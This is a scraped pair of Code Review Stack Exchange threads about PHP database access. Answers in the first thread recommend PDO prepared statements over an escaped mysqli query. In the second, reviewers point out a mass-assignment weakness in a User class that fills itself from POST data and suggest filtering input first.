<pre><code>include_once("connection.php");
$con = new Connect();
$con->connect();
$l_name = mysqli_real_escape_string($con->con, $_GET['l_name']);
$query = mysqli_query($con->con, "SELECT * FROM test WHERE lname='".$l_name."'");
while($row = mysqli_fetch_array($query)){
echo $row['f_name'].' '.$row['l_name'].'<br>';
}
</code></pre>
<p>Can you review my code for security and best coding practices? </p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T07:37:38.120",
"Id": "421158",
"Score": "5",
"body": "Your question title is not meant to address your concern, it is meant to describe what your code does."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T09:56:21.997",
"Id": "421175",
"Score": "2",
"body": "FYI You should use parameterized queries: https://www.acunetix.com/blog/articles/prevent-sql-injection-vulnerabilities-in-php-applications/"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T11:43:55.500",
"Id": "421180",
"Score": "2",
"body": "The answer will be \"they're both unsafe\"."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T14:39:14.390",
"Id": "421201",
"Score": "2",
"body": "The second one just adds no value, so it is useless. See [how to connect with mysqli properly](https://phpdelusions.net/mysqli/mysqli_connect), then [how to query with mysqli properly](https://phpdelusions.net/mysqli) and finally [how to reduce the insane amount of code when you need to run a prepared query only once](https://phpdelusions.net/mysqli/simple) (99% of time)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-23T05:31:50.847",
"Id": "421745",
"Score": "0",
"body": "@JohnConde how can i fix that in simple mysqli example? And how can i test/hack it?"
}
] | [
{
"body": "<p>Don't use either - PDO is much more user-friendly and feature-rich. Generally a class will be nicer to write code around, and now that we have PDO we don't need to write that class. The following example is largely stolen from here: <a href=\"https://phpdelusions.net/pdo\" rel=\"nofollow noreferrer\">https://phpdelusions.net/pdo</a></p>\n\n<pre><code>$DBUser = \"root\";\n$DBPass = \"\";\n$DBName = \"test\";\n$DBCharset = 'utf8mb4';\n\n$dsn = \"mysql:host=$DBServer;dbname=$DBName;charset=$DBCharset\";\n$DBOptions = [\n PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,\n PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,\n PDO::ATTR_EMULATE_PREPARES => false,\n];\ntry {\n $pdo = new PDO($dsn, $DBUser, $DBPass, $DBOptions);\n} catch (\\PDOException $e) {\n // to avoid a potential credentials leak through a stack trace\n throw new \\PDOException($e->getMessage(), (int)$e->getCode());\n}\n\n$stmt = $pdo->prepare(\"SELECT * FROM test WHERE lname = ?\");\n$stmt->execute([$_GET['l_name']]);\n$data = $stmt->fetchAll();\n\nforeach ($data as $row) {\n echo \"{$row['f_name']} {$row['l_name']}<br>\";\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T19:28:32.863",
"Id": "421224",
"Score": "0",
"body": "Thank you editor for fixing my idiot mistakes in my hasty response"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T19:28:46.240",
"Id": "421225",
"Score": "1",
"body": "I took a liberty to fix some code mistakes and made your reasoning factually correct. JFYI, mysqli is never going to be deprecated, it's perfectly all right."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-23T05:33:13.037",
"Id": "421746",
"Score": "0",
"body": "First a big thanks for your answer! However what would you suggest me to fix if i would want to keep simple mysqli example style?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-23T05:33:36.537",
"Id": "421747",
"Score": "0",
"body": "@MaKR First a big thanks for your answer! However what would you suggest me to fix if i would want to keep simple mysqli example style?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-23T14:17:40.240",
"Id": "421840",
"Score": "0",
"body": "The biggest issue with either solution is not using prepared statements. Here is a great mysqli explanation, and early in the article the author links to a class example he has written. At the end he also links to articles on pros and cons of both. I would suggest using a class. https://websitebeaver.com/prepared-statements-in-php-mysqli-to-prevent-sql-injection"
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T19:23:54.663",
"Id": "217688",
"ParentId": "217653",
"Score": "4"
}
}
] | {
"AcceptedAnswerId": "217688",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T06:00:54.260",
"Id": "217653",
"Score": "1",
"Tags": [
"php",
"object-oriented",
"comparative-review",
"mysqli"
],
"Title": "Simple MySql or MySqli Class"
} | 217653 |
<p>I use PHP classes for managing users accounts and I wonder if what I'm doing is correct. </p>
<p>I directly use the <code>$_POST['form']</code> for hydrate <code>User</code> objects. But there is some field that I don't want user to modify (i.e. : <code>Id_user</code>, <code>admin_level</code>, ... [They can be able to do it by creating a new input field called <code>id_user</code> or <code>admin_level</code>, and get admin level]) </p>
<p>So I use an argument in each <code>setID</code> or <code>setAdmin_level</code> (a boolean called <code>$forcer</code>) :</p>
<pre><code><?php
Class User extends Content{
private $_id_user;
private $_date_inscription;
private $_ip_inscription;
private $_derniere_connexion;
private $_nom_utilisateur;
private $_email;
private $_mot_de_passe;
private $_nom;
private $_prenom;
private $_role;
const USER_UNLOGGED = 0;
const USER_LOGGED = 1;
const USER_ADMIN = 5;
public function __construct(array $donnees = null, $forcer = false)
{
if($donnees){
$this->hydrate($donnees,$forcer);
}
}
public function hydrate(array $donnees, $forcer = false)
{
foreach($donnees as $champ => $valeur){
$method = 'set'.ucfirst($champ);
if(method_exists($this,$method))
{
if($forcer){
try {
$this->$method($this->securite($valeur), true);
}catch(Exception $e){
$this->$method($this->securite($valeur));
}
}else {
$this->$method($this->securite($valeur));
}
}
}
}
public function setId_user($id_user, $forcer = false)
{
if(is_numeric($id_user)&&$forcer)
{
$this->_id_user = $id_user;
return true;
}else {
$this->addErreur('id_user','User ID incorrect');
return false;
}
}
public function getId_user()
{
return $this->_id_user;
}
public function setDate_inscription($date_inscription = "")
{
if(is_numeric($date_inscription))
{
$this->_date_inscription = $date_inscription;
}else {
$this->_date_inscription = time();
}
}
public function getDate_inscription()
{
return $this->_date_inscription;
}
public function setIp_inscription($ip_inscription ='')
{
if($ip_inscription)
{
$this->_ip_inscription = $ip_inscription;
}else {
$this->_ip_inscription = $_SERVER['REMOTE_ADDR'];
}
}
public function getIp_inscription()
{
return $this->_ip_inscription;
}
public function setDerniere_connexion()
{
$this->_derniere_connexion = time()."#".$_SERVER['REMOTE_ADDR'];
}
public function getDerniere_connexion()
{
return $this->_derniere_connexion;
}
public function setNom_utilisateur($nom_utilisateur)
{
$this->_nom_utilisateur = $nom_utilisateur;
}
public function getNom_utilisateur()
{
return $this->_nom_utilisateur;
}
public function setEmail($email)
{
if($this->is_mail($email))
{
$this->_email = $email;
}else {
$this->addErreur('email','email incorrect.');
return false;
}
}
public function getEmail()
{
return $this->_email;
}
public function setMot_de_passe($mot_de_passe, $encrypted=false)
{
if($this->is_password($mot_de_passe))
{
if($encrypted)
{
$this->_mot_de_passe = $mot_de_passe;
}else {
$this->_mot_de_passe = crypt($mot_de_passe, $GLOBALS['salt_crypt']);
}
}else{
$this->addErreur('mot_de_passe','Mot de passe incorrect. Minimum 6 caractères.');
return false;
}
}
public function getMot_de_passe()
{
return $this->_mot_de_passe;
}
public function setNom($nom)
{
$this->_nom = $nom;
}
public function getNom()
{
return $this->_nom;
}
public function setPrenom($prenom)
{
$this->_prenom = $prenom;
}
public function getPrenom()
{
return $this->_prenom;
}
public function setRole($role, $forcer = false)
{
if(is_numeric($role)&&$forcer)
{
$this->_role = intval($role);
}else{
$this->addErreur('role','Role incorrect');
return false;
}
}
public function getRole()
{
return $this->_role;
}
} // Fin de la classe User
</code></pre>
<p>So, in order to register a new user, I hydrate a new User object with the form POST :</p>
<pre><code>$user = new User($_POST['form'], false);
</code></pre>
<p>And I need to set the <code>$force</code> bool to true for create a new <code>User</code> from an <code>Id</code> or if I want to set a field protected.</p>
<pre><code>$user = $userManager->getUserFromId(new User(['id_user' => 1], true));
</code></pre>
<p>Is this a good way?</p>
| [] | [
{
"body": "<p>Just some minor suggestions...</p>\n\n<ul>\n<li><p>I think it is the general advice (from what I've read) that you should use English variables. This seems horribly biased from a coder who only speaks English, but I have seen many English As A Second Language developers post this same advice. I took just enough French in high school to follow your variable names.</p></li>\n<li><p>All of the lines inside your class should be tabbed in.</p></li>\n<li><p>If you are expecting all of the numeric values to be integers, you could implement the more strict function <code>ctype_digit()</code> to validate.</p></li>\n<li><p>The use of <code>password_hash()</code> is encouraged. <a href=\"https://www.php.net/manual/en/function.crypt.php\" rel=\"nofollow noreferrer\">https://www.php.net/manual/en/function.crypt.php</a></p></li>\n</ul>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T22:53:13.623",
"Id": "217705",
"ParentId": "217659",
"Score": "1"
}
},
{
"body": "<h1><i>ALWAYS</i> sanitize and filter user input <i>FIRST</i></h1>\n\n<p>I have to agree with <em>mickmackusa</em> that using French in programming, for variables names or comments, is not a very good idea. For one, it makes it harder to discuss your code here. But also: Most codes and tutorials are in English. It also just looks weird: <code>getMot_de_passe</code> should either be <code>obtenir_mot_de_pass</code> or <code>getPassword</code>. I prefer the latter. (FYI: I'm Dutch).</p>\n\n<p>It is clear what you try to achieve with your code, but I do wonder about how secure it is. Two points:</p>\n\n<ol>\n<li><p><strong>The risk.</strong> I was always taught that user input should be strictly sanitized and filtered as soon as possible, before it is allowed to enter deeper into the code. In your code you hand over the raw <code>$_POST</code> array to an <code>User</code> object, and then, without anything else, the <code>hydrate()</code> method hands the content over to another method, and so on. We are now deep into this code, and can you be certain you will always properly sanitize and filter user input? Will you think about this, in a years time, when you want to extend the <code>User</code> class? If anything, this is just dangerous. </p></li>\n<li><p><strong>The hole.</strong> Your <code>hydrate()</code> method nicely checks if a method exists for a given <code>$_POST</code> key. So <code>'id_user'</code> finds <code>setId_user()</code>, as it should, but <code>'hack_user'</code> cannot find <code>setHack_user()</code> because that method doesn't exist. The user could however change the registration date: <code>'date_inscription'</code> will be connected to the <code>setDate_inscription()</code> method. There are more methods like this. I'll admit that the user needs to know the names of these methods, but security through obscurity is always a bad plan. More so, these methods lack the minimal sanitizing and filtering you have in the other methods. So this is clearly <em>a security hole</em>. You have given the user access to the <a href=\"https://www.php.net/manual/en/language.control-structures.php\" rel=\"nofollow noreferrer\">control structures</a> of your program, probably without even realizing it.</p></li>\n</ol>\n\n<p>So, my suggestions would be: <strong>First sanitize and filter user input</strong>, before it gets too deep into your code and you loose sight of all the security implications. This would, in one fell swoop, also prevent the security hole I mentioned in my second point.</p>\n\n<p>Personally I don't like the <code>hydrate()</code> method. I think it is ugly. It will be difficult to predict what it does, to check its security, and it makes proper debugging virtually impossible.</p>\n\n<p>To end with a tiny bit of code. Here is how I would sanitize and filter user input. Put this code at the top of the PHP file to which your form is posted.</p>\n\n<pre><code><?php\n\n$post_userId = filter_input(INPUT_POST, 'userId', FILTER_SANITIZE_NUMBER_INT);\n$post_roleId = filter_input(INPUT_POST, 'roleId', FILTER_SANITIZE_NUMBER_INT);\n</code></pre>\n\n<p>Don't worry that this is not OOP. That is <strong>NOT</strong> important. Safety first! The prefix <code>post_</code> means that this content comes from the user. This clearly distinguishes them from other variables. Other solutions are possible, and an array is allowed, of course. Further filtering should be done, if possible. For instance if you know that a role id should be between 1 and 5 then anything outside that range should be invalid, and not used. In that case either set it to its default value, or generate an error.</p>\n\n<p>Now, and only after you've applied all the sanitizing and filtering your can think of, should you allow the input from the user to touch your code.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-19T13:07:43.743",
"Id": "217736",
"ParentId": "217659",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-18T07:38:06.720",
"Id": "217659",
"Score": "1",
"Tags": [
"php",
"object-oriented",
"form"
],
"Title": "Secure a class for an hydratation from ma form POST"
} | 217659 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.